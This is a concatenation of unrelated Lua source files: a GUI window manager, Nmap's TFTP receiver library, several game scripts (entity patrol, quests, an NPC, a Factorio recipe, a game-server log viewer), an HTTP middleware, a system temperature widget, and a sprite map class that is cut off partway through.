local window_index, window=next(windows)
while window_index do
if window.AlwaysOverWindow then
local lower_window=GetWindowByName(window.AlwaysOverWindow)
if (lower_window) and (lower_window~=window) then
local low_pos=lower_window.Node.Position
local pos=window.Node.Position
if (pos.z>low_pos.z) then
--обмениваем позиции окон по Z
lower_window.Node.Position=vec3(low_pos.x, low_pos.y, pos.z)
window.Node.Position=vec3(pos.x, pos.y, low_pos.z)
AlwaysOverWindowSortFlag=true
end
end
end
window_index, window=next(windows, window_index)
end
end
end
WindowManager.DeactivateCurrentWindow=function ()
if WindowManager.ActiveWindow then
WindowManager.ActiveWindow.HandleEvent("LostFocus")
end
WindowManager.ActiveWindow=nil
end
WindowManager.MakeWindowActive=function (window)
assert(window~=nil,"ERROR: WindowManager.MakeWindowActive(window) - window is nil")
if type(window)=="string" then
--если было передано имя окна - оно открывается по имени
local name=window
window=WindowManager.GetWindowByName(window)
assert(window,"ERROR: WindowManager.MakeWindowActive=function("..name..") - no such window")
end
-- попытка активации окна
if WindowManager.ActiveWindow~=window then
WindowManager.DeactivateCurrentWindow()
local MouseX, MouseY = WindowManager.GetMouseXY(window)
window.HandleEvent("GotFocus", MouseX, MouseY)
WindowManager.ActiveWindow=window
WindowManager.OpenedWindows[window]=window
SortWindowsByZ()
end
end
local function SelectActiveWindow ()
local MouseX, MouseY = WindowManager.GetMouseXY()
--возможно, курсор уже находится над активным окном
if WindowManager.ActiveWindow then
if WindowManager.ActiveWindow.HasXY(MouseX, MouseY) then return end
if WindowManager.ActiveWindow.AlwaysFocused then return end
end
--выбор нового активного окна
local windows=WindowManager.OpenedWindows
local window_index, window = next(windows)
local found=false
while window_index do
if window.HasXY(MouseX,MouseY) then
--если уже есть одно токно с такими координатами
if found then
--проверка, какое из окон ближе к наблюдателю
if found.Rect.Node.Position.z>window.Rect.Node.Position.z then
found=window
end
else
found=window
end
end
window_index, window = next(windows, window_index)
end
--активация найденного окна, или деактивация активного
if found then
WindowManager.MakeWindowActive(found)
else
WindowManager.DeactivateCurrentWindow()
end
end
local function WindowOpeningAnimation(Frame, Frames, DataBank, window)
if Frame==1 then
--сохраняем данные о позиции окна
DataBank.StartPosition=window.GetCenterPosition()
DataBank.EndPosition=window.Node.Position
--создаем узел, который будет анимироваться
DataBank.ScaleNode=Scene.Node.Create()
DataBank.ScaleNode:BindToParent(WindowManager.Node)
DataBank.ScaleNode.Position=DataBank.StartPosition
--устанавливаем окно в 0
window.Node.Position=vec3(0,0,0)
end
local AnimationStatus=Frame/Frames
DataBank.ScaleNode.Scale=vec3 (AnimationStatus, AnimationStatus, 1)
DataBank.ScaleNode.Position=DataBank.StartPosition*(1-AnimationStatus)+AnimationStatus*DataBank.EndPosition
-- привязываем окно к узлу масштабирования
window.Node:BindToParent(DataBank.ScaleNode)
--myprint("DataBank.ScaleNode.Position = ", DataBank.ScaleNode.Position)
if math.abs(Frame-Frames)<0.5 then
--удаляем сохраненные размеры - они больше не пригодятся
window.Node.Position=DataBank.EndPosition
DataBank.ScaleNode:Unbind()
window.BindToParent(WindowManager.Node)
end
end
WindowManager.OpenWindow=function (window)
--добавляет новое окно и делает его пассивным(по умолчанию)
assert(window~=nil,"ERROR:WindowManager:AddWindow(window) - window is nil")
if type(window)=="string" then
--если было передано имя окна - оно открывается по имени
local name=window
window=WindowManager.GetWindowByName(window)
assert(window,"ERROR: WindowManager.OpenWindow=function("..name..") - no such window")
end
-- открытие ---------------------------------------------------------------
window.HandleEvent("BeforeOpened")
WindowManager.OpenedWindows[window]=window
--window.BindToParent(WindowManager.Node)
WindowManager.MakeWindowActive(window)
--window.BindToParent(WindowManager.Node)
if window.AnimatedOpening then
print("Animating openening for window:",window.Name)
StartLimitedPeriodicCall(5, 0.025, WindowOpeningAnimation, window)
else
window.BindToParent(WindowManager.Node)
end
window.Opened=true
window.HandleEvent("Opened")
end
WindowManager.ThrowWindow=function (window)
--грубое закрытие окна безо всякой анимации
assert(window~=nil, "ERROR: WindowManager.RemoveWindow(window) - window is nil")
window.HandleEvent("LostFocus")
WindowManager.OpenedWindows[window]=nil
if WindowManager.ActiveWindow==window then
WindowManager.ActiveWindow=nil
end
window.Opened=false
window.HandleEvent("Closed")
SelectActiveWindow(WindowManager.GetMouseXY())
window.Unbind()
end
local function WindowClosingAnimation(Frame, Frames, DataBank, window)
if Frame==1 then
--сохраняем данные о позиции окна
DataBank.EndPosition=window.GetCenterPosition()
DataBank.StartPosition=window.Node.Position
--создаем узел, который будет анимироваться
DataBank.ScaleNode=Scene.Node.Create()
DataBank.ScaleNode:BindToParent(WindowManager.Node)
DataBank.ScaleNode.Position=DataBank.StartPosition
--устанавливаем окно в 0
window.Node.Position=vec3(0,0,0)
-- и привязываем окно к узлу масштабирования
window.Node:BindToParent(DataBank.ScaleNode)
end
local AnimationStatus=Frame/Frames
DataBank.ScaleNode.Scale=vec3 (1-AnimationStatus, 1-AnimationStatus, 1)
DataBank.ScaleNode.Position=DataBank.StartPosition*(1-AnimationStatus)+AnimationStatus*DataBank.EndPosition
--myprint("DataBank.ScaleNode.Position = ", DataBank.ScaleNode.Position)
if math.abs(Frame-Frames)<0.5 then
--удаляем сохраненные размеры - они больше не пригодятся
window.Node.Position=DataBank.StartPosition
DataBank.ScaleNode:Unbind()
WindowManager.ThrowWindow(window)
end
end
WindowManager.CloseWindow=function (window)
print ('-------------------------------------------------------------')
assert(window~=nil, "ERROR: WindowManager.RemoveWindow(window) - window is nil")
if type(window)=="string" then
--если было передано имя окна - оно закрывается по имени
local name=window
window=WindowManager.GetWindowByName(window)
assert(window,"ERROR: WindowManager.CloseWindow=function("..name..") - no such window")
end
-- закрытие окна
window.HandleEvent("BeforeClosed")
if window.AnimatedOpening then
StartLimitedPeriodicCall( 5, 0.025, WindowClosingAnimation, window)
else
WindowManager.ThrowWindow(window)
end
end
WindowManager.GetFunctionForWindowClose=function (window)
assert(window~=nil,"ERROR: WindowManager.GetFunctionForWindowClose - window is nil")
local f=function ()
WindowManager.CloseWindow(window)
end
return f
end
--------------------------------------------------------------------------------------------------
-- обработка событий мыши
--------------------------------------------------------------------------------------------------
--для всех открытых окон -------------------------------------------------------------------------
WindowManager.HandleEventByAllOpenedWindows=function (Event, ...)
local params={...}
ForEachInTable(WindowManager.OpenedWindows, function(window)
window.HandleEvent(Event, unpack(params))
end)
end
-- для левой кнопки мыши -------------------------------------------------------------------------
local function HandleMousePressed()
-- функция вызывается при нажатии на левую клавишу мыши
SelectActiveWindow (MouseX, MouseY)
-- проверка наличия активного окна
local AW=WindowManager.ActiveWindow
if AW~=nil then
AW.HandleEvent("Pressed", WindowManager.GetMouseXY(AW))
return true
else
return false
end
end
Mouse.RegisterEventHandler("0_Down", HandleMousePressed)
local function HandleMouseReleased()
--вызывается при событии отпускания левой клавиши мыши
SelectActiveWindow (MouseX, MouseY)
-- проверка наличия активного окна
local AW=WindowManager.ActiveWindow
if AW~=nil then
AW.HandleEvent("Released", WindowManager.GetMouseXY(AW))
return true
else
return false
end
end
Mouse.RegisterEventHandler("0_Up", HandleMouseReleased)
-- для правой кнопки мыши -------------------------------------------------------------------------
local function HandleMousePressed_2()
-- функция вызывается при нажатии на левую клавишу мыши
SelectActiveWindow (MouseX, MouseY)
-- проверка наличия активного окна
local AW=WindowManager.ActiveWindow
if AW~=nil then
AW.HandleEvent("Pressed_2", WindowManager.GetMouseXY(AW))
return true
else
return false
end
end
Mouse.RegisterEventHandler("1_Down", HandleMousePressed_2)
local function HandleMouseReleased_2()
--вызывается при событии отпускания левой клавиши мыши
SelectActiveWindow (MouseX, MouseY)
-- проверка наличия активного окна
local AW=WindowManager.ActiveWindow
if AW~=nil then
AW.HandleEvent("Released_2", WindowManager.GetMouseXY(AW))
return true
else
return false
end
end
Mouse.RegisterEventHandler("1_Up", HandleMouseReleased_2)
-- колесо мышки -------------------------------------------------------------------------
local function HandleMouseWheelUp()
local AW=WindowManager.ActiveWindow
if AW~=nil then
AW.HandleEvent("MouseWheelUp", WindowManager.GetMouseXY(AW))
return true
end
end
Mouse.RegisterEventHandler("Wheel_Up", HandleMouseWheelUp)
local function HandleMouseWheelDown()
local AW=WindowManager.ActiveWindow
if AW~=nil then
AW.HandleEvent("MouseWheelDown", WindowManager.GetMouseXY(AW))
return true
end
end
Mouse.RegisterEventHandler("Wheel_Down", HandleMouseWheelDown)
-- движение мышки -------------------------------------------------------------------------
local function HandleMouseMoved ()
--вызывается при событии перемещения мыши
local OldActiveWindow=WindowManager.ActiveWindow
if OldActiveWindow then
--текущему активному окну сообщается, что мышка переместилась и взможно вышла за пределы
OldActiveWindow.HandleEvent("MouseMoved", WindowManager.GetMouseXY(OldActiveWindow))
end
if (OldActiveWindow==nil) or (WindowManager.FocusIfPointed) then
--если текущее активное окно не выбрано или используется выбор по наведению мышки
--то выбирается новое активное окно
SelectActiveWindow ()
end
local NewActiveWindow=WindowManager.ActiveWindow
--проверка наличия активного окна
if NewActiveWindow~=nil then
--если было выбрано другое активное окно - то ему тоже передается сообщение о перемещении мышки
if OldActiveWindow~=NewActiveWindow then
NewActiveWindow.HandleEvent("MouseMoved", WindowManager.GetMouseXY(NewActiveWindow))
end
return true
else
return false
end
end
Mouse.RegisterEventHandler("Moved", HandleMouseMoved)
-- мперемещение узла курсора------------------------------------------------------------------
local function UpdateCursorNodeMovement()
local MouseX, MouseY = WindowManager.GetMouseXY()
CursorNode:SetPosition(MouseX, MouseY,-5)
end
Mouse.RegisterEventHandler("Moved", UpdateCursorNodeMovement)
local function OnCursorLeave()
CursorNode:Unbind()
end
Mouse.RegisterEventHandler("CursorLeave", OnCursorLeave)
local function OnCursorEnter()
CursorNode:BindToParent(WindowManager.Node)
end
Mouse.RegisterEventHandler("CursorEnter", OnCursorEnter)
--------------------------------------------------------------------------------------------------
-- обработка событий клавиатуры
--------------------------------------------------------------------------------------------------
local function HandleKey(key)
if WindowManager.ActiveWindow then
WindowManager.ActiveWindow.HandleEvent("KeyDown", key)
end
end
Keyboard.RegisterEventHandler("Down", HandleKey)
local function HandleCharCode(CharCode)
if WindowManager.ActiveWindow then
WindowManager.ActiveWindow.HandleEvent("CharCode", CharCode)
end
end
Keyboard.RegisterEventHandler("CharCode", HandleCharCode)
Mouse.Hide()
UpdateCursorNodeMovement ()
end
|
return {'isbn'}
|
--- Library implementing a minimal TFTP server
--
-- Currently only write-operations are supported so that script can trigger
-- TFTP transfers and receive the files and return them as result.
--
-- The library contains the following classes
-- * <code>Packet</code>
-- ** The <code>Packet</code> classes contain one class for each TFTP operation.
-- * <code>File</code>
-- ** The <code>File</code> class holds a received file including the name and contents
-- * <code>ConnHandler</code>
-- ** The <code>ConnHandler</code> class handles and processes incoming connections.
--
-- The following code snippet starts the TFTP server and waits for the file incoming.txt
-- to be uploaded for 10 seconds:
-- <code>
-- tftp.start()
-- local status, f = tftp.waitFile("incoming.txt", 10)
-- if ( status ) then return f:getContent() end
-- </code>
--
-- @author Patrik Karlsson <patrik@cqure.net>
-- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html
--
-- version 0.2
--
-- 2011-01-22 - re-wrote library to use coroutines instead of new_thread code.
local bin = require "bin"
local coroutine = require "coroutine"
local nmap = require "nmap"
local os = require "os"
local stdnse = require "stdnse"
local table = require "table"
_ENV = stdnse.module("tftp", stdnse.seeall)
threads, infiles, running = {}, {}, {}
state = "STOPPED"
srvthread = {}
-- All opcodes supported by TFTP
OpCode = {
RRQ = 1,
WRQ = 2,
DATA = 3,
ACK = 4,
ERROR = 5,
}
--- A minimal packet implementation
--
-- The current code only implements the ACK and ERROR packets
-- As the server is write-only the other packet types are not needed
Packet = {
-- Implements the ACK packet
ACK = {
new = function( self, block )
local o = {}
setmetatable(o, self)
self.__index = self
o.block = block
return o
end,
__tostring = function( self )
return bin.pack(">SS", OpCode.ACK, self.block)
end,
},
-- Implements the error packet
ERROR = {
new = function( self, code, msg )
local o = {}
setmetatable(o, self)
self.__index = self
o.msg = msg
o.code = code
return o
end,
__tostring = function( self )
return bin.pack(">SSz", OpCode.ERROR, self.code, self.msg)
end,
}
}
--- The File class holds files received by the TFTP server
File = {
--- Creates a new file object
--
-- @param filename string containing the filename
-- @param content string containing the file content
-- @return o new class instance
new = function(self, filename, content, sender)
local o = {}
setmetatable(o, self)
self.__index = self
o.name = filename
o.content = content
o.sender = sender
return o
end,
getContent = function(self) return self.content end,
setContent = function(self, content) self.content = content end,
getName = function(self) return self.name end,
setName = function(self, name) self.name = name end,
setSender = function(self, sender) self.sender = sender end,
getSender = function(self) return self.sender end,
}
-- The thread dispatcher is called by the start function once
local function dispatcher()
local last = os.time()
local f_condvar = nmap.condvar(infiles)
local s_condvar = nmap.condvar(state)
while(true) do
-- check if other scripts are active
local counter = 0
for t in pairs(running) do
counter = counter + 1
end
if ( counter == 0 ) then
state = "STOPPING"
s_condvar "broadcast"
end
if #threads == 0 then break end
for i, thread in ipairs(threads) do
local status, res = coroutine.resume(thread)
if ( not(res) ) then -- thread finished its task?
table.remove(threads, i)
break
end
end
-- Make sure to process waitFile atleast every 2 seconds
-- in case no files have arrived
if ( os.time() - last >= 2 ) then
last = os.time()
f_condvar "broadcast"
end
end
state = "STOPPED"
s_condvar "broadcast"
stdnse.debug1("Exiting _dispatcher")
end
-- Processes a new incoming file transfer
-- Currently only uploads are supported
--
-- @param host containing the hostname or ip of the initiating host
-- @param port containing the port of the initiating host
-- @param data string containing the initial data passed to the server
local function processConnection( host, port, data )
local pos, op = bin.unpack(">S", data)
local socket = nmap.new_socket("udp")
socket:set_timeout(1000)
local status, err = socket:connect(host, port)
if ( not(status) ) then return status, err end
socket:set_timeout(10)
-- If we get anything else than a write request, abort the connection
if ( OpCode.WRQ ~= op ) then
stdnse.debug1("Unsupported opcode")
socket:send( tostring(Packet.ERROR:new(0, "TFTP server has write-only support")))
end
local pos, filename, enctype = bin.unpack("zz", data, pos)
status, err = socket:send( tostring( Packet.ACK:new(0) ) )
local blocks = {}
local lastread = os.time()
while( true ) do
local status, pdata = socket:receive()
if ( not(status) ) then
-- if we're here and haven't successfully read a packet for 5 seconds, abort
if ( os.time() - lastread > 5 ) then
coroutine.yield(false)
else
coroutine.yield(true)
end
else
-- record last time we had a successful read
lastread = os.time()
pos, op = bin.unpack(">S", pdata)
if ( OpCode.DATA ~= op ) then
stdnse.debug1("Expected a data packet, terminating TFTP transfer")
end
local block, data
pos, block, data = bin.unpack(">SA" .. #pdata - 4, pdata, pos )
blocks[block] = data
-- First block was not 1
if ( #blocks == 0 ) then
socket:send( tostring(Packet.ERROR:new(0, "Did not receive block 1")))
break
end
-- for every fifth block check that we've received the preceding four
if ( ( #blocks % 5 ) == 0 ) then
for b = #blocks - 4, #blocks do
if ( not(blocks[b]) ) then
socket:send( tostring(Packet.ERROR:new(0, "Did not receive block " .. b)))
end
end
end
-- Ack the data block
status, err = socket:send( tostring(Packet.ACK:new(block)) )
if ( ( #blocks % 20 ) == 0 ) then
-- yield every 5th iteration so other threads may work
coroutine.yield(true)
end
-- If the data length was less than 512, this was our last block
if ( #data < 512 ) then
socket:close()
break
end
end
end
local filecontent = {}
-- Make sure we received all the blocks needed to proceed
for i=1, #blocks do
if ( not(blocks[i]) ) then
return false, ("Block #%d was missing in transfer")
end
filecontent[#filecontent+1] = blocks[i]
end
stdnse.debug1("Finished receiving file \"%s\"", filename)
-- Add anew file to the global infiles table
table.insert( infiles, File:new(filename, table.concat(filecontent), host) )
local condvar = nmap.condvar(infiles)
condvar "broadcast"
end
-- Waits for a connection from a client
local function waitForConnection()
local srvsock = nmap.new_socket("udp")
local status = srvsock:bind(nil, 69)
assert(status, "Failed to bind to TFTP server port")
srvsock:set_timeout(0)
while( state == "RUNNING" ) do
local status, data = srvsock:receive()
if ( not(status) ) then
coroutine.yield(true)
else
local status, _, _, rhost, rport = srvsock:get_info()
local x = coroutine.create( function() processConnection(rhost, rport, data) end )
table.insert( threads, x )
coroutine.yield(true)
end
end
end
--- Starts the TFTP server and creates a new thread handing over to the dispatcher
function start()
local disp = nil
local mutex = nmap.mutex("srvsocket")
-- register a running script
running[coroutine.running()] = true
mutex "lock"
if ( state == "STOPPED" ) then
srvthread = coroutine.running()
table.insert( threads, coroutine.create( waitForConnection ) )
stdnse.new_thread( dispatcher )
state = "RUNNING"
end
mutex "done"
end
local function waitLast()
-- The thread that started the server needs to wait here until the rest
-- of the scripts finish running. We know we are done once the state
-- shifts to STOPPED and we get a signal from the condvar in the
-- dispatcher
local s_condvar = nmap.condvar(state)
while( srvthread == coroutine.running() and state ~= "STOPPED" ) do
s_condvar "wait"
end
end
--- Waits for a file with a specific filename for at least the number of
-- seconds specified by the timeout parameter.
--
-- If this function is called from the thread that's running the server it will
-- wait until all the other threads have finished executing before returning.
--
-- @param filename string containing the name of the file to receive
-- @param timeout number containing the minimum number of seconds to wait
-- for the file to be received
-- @return status true on success false on failure
-- @return File instance on success, nil on failure
function waitFile( filename, timeout )
local condvar = nmap.condvar(infiles)
local t = os.time()
while(os.time() - t < timeout) do
for _, f in ipairs(infiles) do
if (f:getName() == filename) then
running[coroutine.running()] = nil
waitLast()
return true, f
end
end
condvar "wait"
end
-- de-register a running script
running[coroutine.running()] = nil
waitLast()
return false
end
return _ENV;
|
Camp = {}
Camp.e = {}
------------------------------------------------------
-- System events
------------------------------------------------------
function Camp:new()
local u = {}
setmetatable(u, self)
self.__index = self
return u
end
function Camp:onConnect(opt)
self.dt = 0
self.dtTurn = 0
self.range = opt.range
self.x, self.y = self.entity.RigidBody:getLoc()
trace(self.x, self.range)
end
function Camp:enable(y)
end
function Camp:disable()
end
function Camp:onUpdate(dt)
self.dt = self.dt + dt
self.dtTurn = self.dtTurn + dt
if self.dt > 0.5 and self.dtTurn > 3 then
local ent = self.entity
local x,y = ent.RigidBody:getLoc()
-- trace(x, self.x + self.range/2, self.x - self.range/2)
if x > self.x + self.range/2 then
ent.FungiMove:turnAround()
ent.Sprite:turnAround()
elseif x < self.x - self.range/2 then
ent.FungiMove:turnAround()
ent.Sprite:turnAround()
end
self.dtTurn = 0
self.dt = 0
end
end
------------------------------------------------------
-- Entity events
------------------------------------------------------
|
memo = {}
label = {}
button = {}
edit = {}
function openWindow()
if (loggingWindow) then
return true
end
-- Window
loggingWindow = guiCreateWindow(0.30, 0.25, 0.40, 0.50, "AUR - Check Logs", true)
guiWindowSetSizable(loggingWindow, false)
guiSetVisible(loggingWindow, false)
-- Tab
tabPanel = guiCreateTabPanel(0.02, 0.07, 0.96, 0.83, true, loggingWindow)
-- Tab 1
accountLogs = guiCreateTab("Account Logs", tabPanel)
-- Edit
edit[accountLogs] = guiCreateEdit(124, 13, 236, 23, "", false, accountLogs)
-- Label
label[accountLogs] = guiCreateLabel(0.01, 0.04, 0.22, 0.09, "Account Name", true, accountLogs)
guiSetFont(label[accountLogs], "default-bold-small")
guiLabelSetHorizontalAlign(label[accountLogs], "right", false)
guiLabelSetVerticalAlign(label[accountLogs], "center")
-- Button
button[accountLogs] = guiCreateButton(0.74, 0.05, 0.24, 0.08, "Check", true, accountLogs)
closeButton = guiCreateButton(0.02, 0.91, 0.96, 0.06, "Close", true, loggingWindow)
-- Memo
memo[accountLogs] = guiCreateMemo(0.02, 0.14, 0.96, 0.82, "Account name must be exact", true, accountLogs)
guiMemoSetReadOnly(memo[accountLogs], true)
-- Tab 2
serialLogs = guiCreateTab("Serial Logs", tabPanel)
-- Edit
edit[serialLogs] = guiCreateEdit(124, 13, 236, 23, "", false, serialLogs)
-- Label
label[serialLogs] = guiCreateLabel(0.01, 0.04, 0.22, 0.09, "Serial", true, serialLogs)
guiSetFont(label[serialLogs], "default-bold-small")
guiLabelSetHorizontalAlign(label[serialLogs], "right", false)
guiLabelSetVerticalAlign(label[serialLogs], "center")
-- Button
button[serialLogs] = guiCreateButton(0.74, 0.05, 0.24, 0.08, "Check", true, serialLogs)
-- serialLogs
memo[serialLogs] = guiCreateMemo(0.02, 0.14, 0.96, 0.82, "Serial must be exact", true, serialLogs)
guiMemoSetReadOnly(memo[serialLogs], true)
-- Tab 3
ipLogs = guiCreateTab("IP Logs", tabPanel)
-- Edit
edit[ipLogs] = guiCreateEdit(124, 13, 236, 23, "", false, ipLogs)
-- Label
label[ipLogs] = guiCreateLabel(0.01, 0.04, 0.22, 0.09, "IP Address", true, ipLogs)
guiSetFont(label[ipLogs], "default-bold-small")
guiLabelSetHorizontalAlign(label[ipLogs], "right", false)
guiLabelSetVerticalAlign(label[ipLogs], "center")
-- Button
button[ipLogs] = guiCreateButton(0.74, 0.05, 0.24, 0.08, "Check", true, ipLogs)
-- Memo
memo[ipLogs] = guiCreateMemo(0.02, 0.14, 0.96, 0.82, "IP Address name must be exact", true, ipLogs)
guiMemoSetReadOnly(memo[ipLogs], true)
-- Event handlers
addEventHandler("onClientGUIClick", closeButton, closeGUI, false)
addEventHandler("onClientGUIClick", button[accountLogs], getAccountLogs, false)
addEventHandler("onClientGUIClick", button[serialLogs], getSerialLogs, false)
addEventHandler("onClientGUIClick", button[ipLogs], getIPLogs, false)
end
function getAccountLogs(btn)
if (btn ~= "left") then
return false
end
if (btn ~= "left") then
return false
end
triggerServerEvent("CSGlogging.getLogs", localPlayer, "account", guiGetText(edit[accountLogs]))
end
function getSerialLogs(btn)
if (btn ~= "left") then
return false
end
if (btn ~= "left") then
return false
end
triggerServerEvent("CSGlogging.getLogs", localPlayer, "serial", guiGetText(edit[serialLogs]))
end
function getIPLogs(btn)
if (btn ~= "left") then
return false
end
triggerServerEvent("CSGlogging.getLogs", localPlayer, "ip", guiGetText(edit[ipLogs]))
end
function closeGUI(btn)
if (btn ~= "left") then
return false
end
-- Close GUI
guiSetVisible(loggingWindow, false)
showCursor(false)
end
function searchFunction(_, ...)
if (not guiGetVisible(loggingWindow)) then
return false
end
local msg = table.concat({...}, " ")
local text = split(guiGetText(memo[guiGetSelectedTab(tabPanel)]), "\n")
local toShow = ""
for i, v in ipairs(text) do
if (v:find(msg)) then
toShow = toShow..v.."\n"
end
end
guiSetText(memo[guiGetSelectedTab(tabPanel)], toShow)
end
addCommandHandler("search", searchFunction)
function togGUI()
openWindow()
local vis = (not guiGetVisible(loggingWindow))
guiSetVisible(loggingWindow, vis)
showCursor(vis)
if (vis) then
guiSetInputMode("no_binds_when_editing")
end
end
addEvent("CSGlogging.gui", true)
addEventHandler("CSGlogging.gui", root, togGUI)
function recieveInformation(info)
guiSetText(memo[guiGetSelectedTab(tabPanel)], info)
end
addEvent("CSGlogging.info", true)
addEventHandler("CSGlogging.info", root, recieveInformation)
|
ShowToClient("Quests", "Starting quests 1-20lvl");
dofile (GetDir() .. "\\scripts\\Quests\\Q1.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q2.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q3.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q4.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q5.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q6.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q7.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q8.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q9.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q10.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q11.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q12.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q13.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q14.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q15.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q16.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q17.lua");
dofile (GetDir() .. "\\scripts\\Quests\\Q18.lua");
ShowToClient("Quests", "Finished quests 1-20lvl");
|
return function (request, next_middleware)
request.headers.authentication = 'this-is-my-key'
return next_middleware()
end
|
-----------------------------------
-- Area: Norg
-- NPC: Heiji
-- Starts and Ends Quest: Like a Shining Subligar
-- !pos -1 -5 25 252
-----------------------------------
require("scripts/globals/settings")
require("scripts/globals/titles")
require("scripts/globals/shop")
require("scripts/globals/quests")
local ID = require("scripts/zones/Norg/IDs")
-----------------------------------
function onTrade(player, npc, trade)
ShiningSubligar = player:getQuestStatus(OUTLANDS, tpz.quest.id.outlands.LIKE_A_SHINING_SUBLIGAR)
Subligar = trade:getItemQty(14242)
if (Subligar > 0 and Subligar == trade:getItemCount()) then
TurnedInVar = player:getCharVar("shiningSubligar_nb")
if (ShiningSubligar == QUEST_ACCEPTED and TurnedInVar + Subligar >= 10) then -- complete quest
player:startEvent(125)
elseif (ShiningSubligar == QUEST_ACCEPTED and TurnedInVar <= 9) then -- turning in less than the amount needed to finish the quest
TotalSubligar = Subligar + TurnedInVar
player:tradeComplete()
player:setCharVar("shiningSubligar_nb", TotalSubligar)
player:startEvent(124, TotalSubligar) -- Update player on number of subligar turned in
end
else
if (ShiningSubligar == QUEST_ACCEPTED) then
player:startEvent(124, TotalSubligar) -- Update player on number of subligar turned in, but doesn't accept anything other than subligar
else
player:startEvent(122) -- Give standard conversation if items are traded but no quest is accepted
end
end
end
function onTrigger(player, npc)
ShiningSubligar = player:getQuestStatus(OUTLANDS, tpz.quest.id.outlands.LIKE_A_SHINING_SUBLIGAR)
if (ShiningSubligar == QUEST_AVAILABLE and player:getFameLevel(NORG) >= 3) then
player:startEvent(123) -- Start Like a Shining Subligar
elseif (ShiningSubligar == QUEST_ACCEPTED) then
player:startEvent(124, player:getCharVar("shiningSubligar_nb")) -- Update player on number of subligar turned in
else
player:startEvent(122) -- Standard Conversation
end
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if (csid == 123) then
player:addQuest(OUTLANDS, tpz.quest.id.outlands.LIKE_A_SHINING_SUBLIGAR)
elseif (csid == 125) then
player:tradeComplete()
player:addTitle(tpz.title.LOOKS_SUBLIME_IN_A_SUBLIGAR)
player:addItem(4955) -- Scroll of Kurayami: Ichi
player:messageSpecial(ID.text.ITEM_OBTAINED, 4955) -- Scroll of Kurayami: Ichi
player:setCharVar("shiningSubligar_nb", 0)
player:addFame(NORG, 100)
player:completeQuest(OUTLANDS, tpz.quest.id.outlands.LIKE_A_SHINING_SUBLIGAR)
end
end
|
-- placeholder map grid
local map = nil
local timer = 0
-- setup data representing a map
function core_init()
end
-- update level data
function core_update(dt)
timer = timer + dt
end
-- return the map object
function core_getMap()
return map
end
|
-- temperature widget type for GNU/Linux
-- Copyright (C) 2010 Adrian C. <anrxc@sysphere.org>
-- Copyright (C) 2017 mutlusun <mutlusun@github.com>
--
-- This file is part of Vicious.
--
-- Vicious is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as
-- published by the Free Software Foundation, either version 2 of the
-- License, or (at your option) any later version.
--
-- Vicious is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with Vicious. If not, see <https://www.gnu.org/licenses/>.
-- {{{ Grab environment
local type = type
local tonumber = tonumber
local string = { match = string.match }
local math = { floor = math.floor }
local helpers = require("vicious.helpers")
-- }}}
-- {{{ Thermal widget type
return helpers.setcall(function (format, warg)
if not warg then return end
local zone = { -- Known temperature data sources
["sys"] = {"/sys/class/thermal/", file = "temp", div = 1000},
["core"] = {"/sys/devices/platform/", file = "temp2_input",div = 1000},
["hwmon"] = {"/sys/class/hwmon/", file = "temp1_input",div = 1000},
["proc"] = {"/proc/acpi/thermal_zone/",file = "temperature"}
} -- Default to /sys/class/thermal
warg = type(warg) == "table" and warg or { warg, "sys" }
-- Get temperature from thermal zone
local _thermal = helpers.pathtotable(zone[warg[2]][1] .. warg[1])
local data = warg[3] and _thermal[warg[3]] or _thermal[zone[warg[2]].file]
if data then
if zone[warg[2]].div then
return {math.floor(data / zone[warg[2]].div)}
else -- /proc/acpi "temperature: N C"
return {tonumber(string.match(data, "[%d]+"))}
end
end
return {0}
end)
-- }}}
|
data:extend(
{
{
type = "recipe",
name = "angels-warehouse-buffer",
energy_required = 10,
enabled = "false",
ingredients ={
{"steel-plate", 20},
{"angels-warehouse", 1},
{"advanced-circuit", 20},
},
result= "angels-warehouse-buffer",
icon_size = 32,
subgroup = "angels-warehouses",
order = "e"
},
}
)
|
-- Class: Map
-- A map saves memory and CPU time by acting as if it were a grid of sprites.
-- Each different type of sprite in the grid is represented via a single
-- object. Each sprite must have the same size, however.
--
-- This works very similarly to a tilemap, but there is additional flexibility
-- in using a sprite, e.g. animation and other display effects. (If you want it
-- to act like a tilemap, use its loadTiles method.) However, changing a sprite's
-- x or y position has no effect. Changing the scale will have weird effects as
-- a map expects every sprite to be the same size.
--
-- Extends:
-- <Sprite>
Map = Sprite:extend{
-- Constant: NO_SPRITE
-- Represents a map entry with no sprite.
NO_SPRITE = -1,
-- Property: sprites
-- An ordered table of <Sprite> objects to be used in conjunction with the map property.
sprites = {},
-- Property: map
-- A two-dimensional table of values, each corresponding to an entry in the sprites property.
-- nb. The tile at (0, 0) visually is stored in [1, 1].
map = {},
-- Method: empty
-- Creates an empty map.
--
-- Arguments:
-- width - width of the map in sprites
-- height - height of the map in sprites
--
-- Returns:
-- self, for chaining
empty = function (self, width, height)
local x, y
-- empty the map
for x = 1, width do
self.map[x] = {}
for y = 1, height do
self.map[x][y] = Map.NO_SPRITE
end
end
-- set bounds
self.width = width * self.spriteWidth
self.height = height * self.spriteHeight
return self
end,
-- Method: loadMap
-- Loads map data from a file, typically comma-separated values.
-- Each entry corresponds to an index in self.sprites, and all rows
-- must have the same number of columns.
--
-- Arguments:
-- file - filename of source text to use
